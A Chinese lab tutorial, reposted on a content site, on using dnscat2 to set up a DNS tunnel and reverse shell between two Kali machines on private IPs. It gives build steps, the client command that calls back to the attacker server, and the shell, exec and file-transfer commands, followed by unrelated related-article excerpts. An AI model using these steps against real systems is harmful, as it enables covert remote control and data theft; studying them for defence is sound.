阿一課代表今日分享之使用dnscat2 進行dns隧道反彈shell(直連模式linux對linux)

DNS介紹

DNS是域名系統(Domain?Name System)的縮寫,是因特網的一項核心服務,它作為可以將域名和IP地址相互映射的一個分布式數據庫,能夠使人更方便的訪問互聯網,而不用去記住能夠被機器直接讀取的IP數串。
DNS的記錄類型有很多,有A,AAAA,CNAME,MX,SOA,NS等。
DNS Tunneling可以利用其中的一些記錄類型來傳輸數據。例如A,MX,CNAME,TXT,NULL等。

A記錄:A記錄是用來指定主機名對應的ip地址記錄,簡單的說A記錄是指定域名對應的IP地址。

AAAA記錄:記錄將域名解析到一個指定的ipv6的ip上

CNAME記錄,別名解析。可以將注冊不同的域名解析到一個ip地址。

NS記錄:域名服務器記錄,用來指定該域名是由哪個DNS服務器進行解析。

MX記錄:指向的是一個郵件服務器。

TXT記錄:一般是指某個主機名或域名的說明

PTR記錄:反向DNS

DNS的解析過程可以分為兩種類型:迭代查詢和遞歸查詢。通常本機到Local?DNS Server的過程屬于遞歸查詢,而Local?DNS Server對查詢域名的解析過程屬于迭代查詢。為了減輕Local?DNS Server的壓力,提高解析速度,引入了緩存機制。緩存和TTL緊密相連,當TTL過期,Local?DNS Server則會丟棄緩存的數據,重新從權威域名服務器上獲取新的數據。

本地客戶端---->Local?DNS server---->根域服務器

Dns解析過程:系統發出dns解析之前會先看看本地是否保存了相關域名的解析,系統檢測到hosts文件中沒有響應的域名解析的時候會發送給本地dns解析服務器進行解析,解析之前會看看緩存中是否存在,如果沒有,再將解析請求發給下一個dns服務器。結果返回后將該域名的解析結果保存到緩存中。

Dnscat2工具介紹

Dnscat2是一個DNS隧道工具,通過DNS協議創建加密的命令和控制通道。
Dnscat2分為client端和server端,client運行在被控機器上,server運行在DNS服務器上。client,server部分分別是用C,ruby寫的。其中作者在實現client部分時實現了跨平臺,支持linux和windows編譯運行。在完成連接建立后可以實現建立shell,上傳下載文件等功能。

使用dnscat2隧道的模式有兩種,分別是直連模式和中繼模式。

  • 直連模式:客戶端直接向指定IP地址的DNS服務器發起DNS解析請求
  • 中繼模式:DNS經過互聯網的迭代解析,指向指定的DNS服務器。與直連模式相比,中繼模式的速度較慢

如果目標內網放行所有的DNS請求,dnscat2會使用直連模式,通過UDP的53端口進行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查詢)。在請求日志中,所有的域名都是以?dnscat 開頭的,因此防火墻可以很容易地將直連模式的通信檢測出來

環境搭建

攻擊機/服務端

kali/2024

192.168.227.128

靶機/客戶端

kali/2023

192.168.227.130

linux服務端搭建

git clone https://github.com/iagox86/dnscat2.git?下載dnscat2工具

cd dnscat2/server/ 進入server目錄,因為我們這里是搭建服務端

gem install bundler
gem install bundler 是一個在 Ruby 環境中使用的命令,用于安裝 Bundler 這個 gem(gem 是 Ruby 的包管理器)Bundler 是一個幫助管理 Ruby 項目依賴的工具,它可以確保你的項目在不同的環境中使用相同版本的 gems

apt-get install ruby-dev
ruby-dev 包包含了 Ruby 的頭文件和靜態庫,這對于編譯和安裝需要構建本地擴展的 Ruby gems 是必需的

bundle install
在 Ruby 項目中,當你看到 bundle install 命令時,它通常用于安裝項目所需的依賴包。這個命令是 Bundler 這個 Ruby gem 的一部分,Bundler 是一個管理 Ruby 項目依賴的工具

linux客戶端搭建

$ git clone https://github.com/iagox86/dnscat2 /*下載工具*/
$ cd dnscat2/client/ ??????????????????????????/*進入目錄*/
$ make ????????????????????????????????????????/*使用makefile來編譯客戶端*/

Dnscat2反彈shell

1.首先在服務端運行

ruby ./dnscat2.rb

紅色方框中的這段復制到客戶機上,記得把IP換成服務端IP:

這里就是192.168.227.128(kali2024的ip)

./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256

客戶端操作

./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256

服務端反饋及操作

windows ??列出所有隧道
當前建立好了一條隧道

window -i 1 ??連接客戶端1通道?1表示隧道建立的窗口號

隧道內的操作命令

help可查看控制臺支持的命令,常用的有:

quit (退出控制臺)

kill (中斷通道)

set(設值,比如設置security=open)

windows(列舉出所有的通道)

window -i (連接某個通道)

連接通道后,使用help同樣可以看到其內支持的命令(單個命令后跟-h也會解釋該命令):

clear(清屏)

delay(修改遠程會話超時時間)

exec(執行遠程機上的程序)

shell(得到一個反彈shell)

download/upload(兩端之間上傳下載文件)

supend(返回到上一層,等于快捷鍵ctrl+z)

exit(退出dnscat2)

反彈shell

在當前隧道內輸入shell就會創建一個會話回來
shell

ctrl+z返回到上一層??????

然后我們需要進入這個會話
window -i 6

查看ip

總結

大致步驟就是:

進入服務端的目錄下:安裝Bundler?這個幫助管理?Ruby 項目依賴的工具-->安裝Ruby?開發包-->安裝Bundler?項目所需的依賴包

進入客戶端的目錄下:make(這個命令會嘗試使用?Makefile(如果存在的話)來編譯客戶端。Makefile?是一個腳本,它告訴?make?命令如何編譯和鏈接程序。)

啟動服務端(ruby ./dnscat2.rb)將里面的連接代碼去客戶端運行(默認端口為53

隧道建立好以后help有一些后續操作,反彈shell直接輸入shell就行了

ctrl+z返回到dnscat2界面輸入windows查看所有通道,然后進入window?-i id反彈回來的shell會話

然后就可以正常執行命令操作目標機器了

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/44272.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/44272.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/44272.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

歸并排序算法Python實現

歸并排序原理和步驟 1. 將數組分成兩半,直到每個子數組的長度為1 首先,將數組分成兩半。如果數組的長度大于1,將其從中間分割為兩個子數組。對每個子數組繼續進行這個過程,直到每個子數組的長度為1。此時,所有子數組…

L4 Persistence and Streaming

參考自https://www.deeplearning.ai/short-courses/ai-agents-in-langgraph,以下為代碼的實現。 這里主要是加入了memory,這樣通過self.graph graph.compile(checkpointercheckpointer)就可以加入持久性的檢查點通過thread {"configurable"…

項目實戰--Spring Boot + GraphQL實現實時數據推送

背景 用戶體驗不斷提升而3對實時數據的需求日益增長,傳統的數據獲取方式無法滿足實時數據的即時性和個性化需求。 GraphQL作為新興的API查詢語言,提供更加靈活、高效的數據獲取方案。結合Spring Boot作為后端框架,利用GraphQL實現實時數據推…

Java筆試|面試 —— 對多態性的理解

談談對多態性的理解: 一個事物的多種形態(編譯和運行時狀態不一致性) 實現機制:通過繼承、重寫和向上轉型(Object obj new 子類())來實現。 1.廣義上的理解 子類對象的多態性,方法的重寫&am…

visual studio 2022 在使用open3d出現的問題及解決方式

當出現以下問題: 使用open3d::utility::LogInfo系列出現LNK2001問題,如下所示:LNK2001 無法解析的外部符號 “char __cdecl fmt::v6::internal::decimal_point_impl(class fmt::v6::internal::locale_ref)” LNK2001 無法解析的外部符號 “p…

【C/C++】SDKDDKVer.h和WinSDKVer.h詳解及二者區別

一.SDKDDKVer.h介紹 SDKDDKVer.h 是一個在 Windows 軟件開發中常見的頭文件,它用于定義軟件開發工具包(SDK)和驅動開發工具包(DDK)的版本信息。這個文件通常位于 Visual Studio 安裝目錄下的 Include 子目錄中。 …

GD32MCU如何實現掉電數據保存?

大家在GD32 MCU應用時,是否會碰到以下應用需求:希望在MCU掉電時保存一定的數據或標志,用以記錄一些關鍵的數據。 以GD32E103為例,數據的存儲介質可以選擇內部Flash或者備份數據寄存器。 如下圖所示,片內Flash具有10年…

學習數據庫的增刪改查

一、創建數據庫和表 在進行增刪改查操作之前,我們需要創建一個數據庫和表。 1. 創建數據庫 使用 CREATE DATABASE 語句創建數據庫: CREATE DATABASE test_db;2. 選擇數據庫 使用 USE 語句選擇數據庫: USE test_db;3. 創建表 使用 CREA…

詳解C語言結構體

文章目錄 1.結構體的聲明1.1 結構體的基礎知識1.2 結構的聲明1.3 結構成員的類型 1.4結構體變量的定義和初始化2.結構體成員的訪問3.結構體傳參 1.結構體的聲明 1.1 結構體的基礎知識 結構是一些值的集合,這些值稱為成員變量。結構的每個成員可以是不同類型的變量 …

【密碼學】分組密碼概述

一、分組密碼的定義 分組密碼和流密碼都是對稱密碼體制。 流密碼:是將明文視為連續的比特流,對每個比特或字節進行實時加密,而不將其分割成固定的塊。流密碼適用于加密實時數據流,如網絡通信。分組密碼:是將明文數據…

【React】Ant Design -- Table分頁功能實現

實現步驟 為Table組件指定pagination屬性來展示分頁效果在分頁切換事件中獲取到篩選表單中選中的數據使用當前頁數據修改params參數依賴引起接口重新調用獲取最新數據 const pageChange (page) > {// 拿到當前頁參數 修改params 引起接口更新setParams({...params,page})…

翰德恩咨詢賦能材料行業上市公司,共筑IPD管理體系新篇章

賦能背景概覽 坐落于江蘇的某材料行業領軍企業,作為國內無機陶瓷膜元件及成套設備領域的佼佼者,以其龐大的生產規模、豐富的產品系列及卓越的研發實力,屹立行業之巔二十余年。公司不僅在新材料研發、技術創新、工藝設計、設備制造及整體解決…

【VUE進階】安裝使用Element Plus組件

Element Plus組件 安裝引入組件使用Layout 布局button按鈕行內表單菜單 安裝 包管理安裝 # 選擇一個你喜歡的包管理器# NPM $ npm install element-plus --save# Yarn $ yarn add element-plus# pnpm $ pnpm install element-plus瀏覽器直接引入 例如 <head><!-- I…

Transformer-LSTM預測 | Matlab實現Transformer-LSTM時間序列預測

Transformer-LSTM預測 | Matlab實現Transformer-LSTM時間序列預測 目錄 Transformer-LSTM預測 | Matlab實現Transformer-LSTM時間序列預測效果一覽基本介紹程序設計參考資料 效果一覽 基本介紹 1.Matlab實現Transformer-LSTM時間序列預測&#xff0c;Transformer-LSTM&#xf…

淺談“不要卷模型,要卷應用”

目錄 1.概述 2.AI技術應用場景探索 3.避免超級應用陷阱的策略 3.1.追求DAU的弊端 3.2.平衡用戶活躍度與應用實用性的策略 4.個性化智能體開發 4.1. 用戶需求分析與數據收集 4.2. 技術選擇與開發 4.3. 個性化算法設計 4.4. 安全性與隱私保護 4.5. 多渠道集成與響應機…

用vite創建Vue3項目的步驟和文件解釋

創建項目的原則是不能出現中文和特殊字符&#xff0c;最好為小寫字母&#xff0c;數字&#xff0c;下劃線組成 之后在visual studio code 中打開創建的這個項目 src是源代碼文件 vite和webpack是有去別的&#xff0c;對于這個vite創建的工程來說index.js是入口文件 在終端里面輸…

數字探秘:用神經網絡解密MNIST數據集中的數字!

用神經網絡解密MNIST數據集中的數字&#xff01; 一. 介紹1.1 MNIST數據集簡介1.2 MLP&#xff08;多層感知器&#xff09;模型介紹1.3 目標&#xff1a;使用MLP模型對MNIST數據集中的0-9數字進行分類 二.數據預處理2.1 數據集的獲取與加載2.2 數據集的探索性分析&#xff08;E…

騙子用出國月薪3萬騙了1000多萬上千名求職者被騙

日前,江蘇省南通市崇川區人民法院開庭審理了一起涉及詐騙的案件,該案件 審理后引發全國求職者的關注以及熱議。根據了解得知,這起案件的主犯是利用出 國勞務的虛假高薪職位位誘餌,最終有上千名求職者被騙上當了。文章來源于&#xff1a;股城網www.gucheng.com 根據法院審…

微信文件太大傳不了?學會這些,微信秒變大文件傳輸神器

在數字化時代&#xff0c;微信已成為我們日常溝通的重要橋梁。然而&#xff0c;當需要在微信上傳輸大文件時&#xff0c;文件大小的限制往往讓人束手無策。 今天&#xff0c;我們將分享一些實用的技巧&#xff0c;幫助你在微信上輕松傳輸大文件&#xff0c;無論是工作文檔還是…

HTTP 概況

Web的應用層協議是超文本傳輸協議(HyperTextTransferProtocol&#xff0c;HTTP)&#xff0c;它是 Web的核心。HTTP由兩個程序實現:一個客戶程序和一個服務器程序。客戶程序和服務器程序運行在不同的端系統中&#xff0c;通過交換HTTP報文進行會話。HTTP定義了這些報文的結構以及…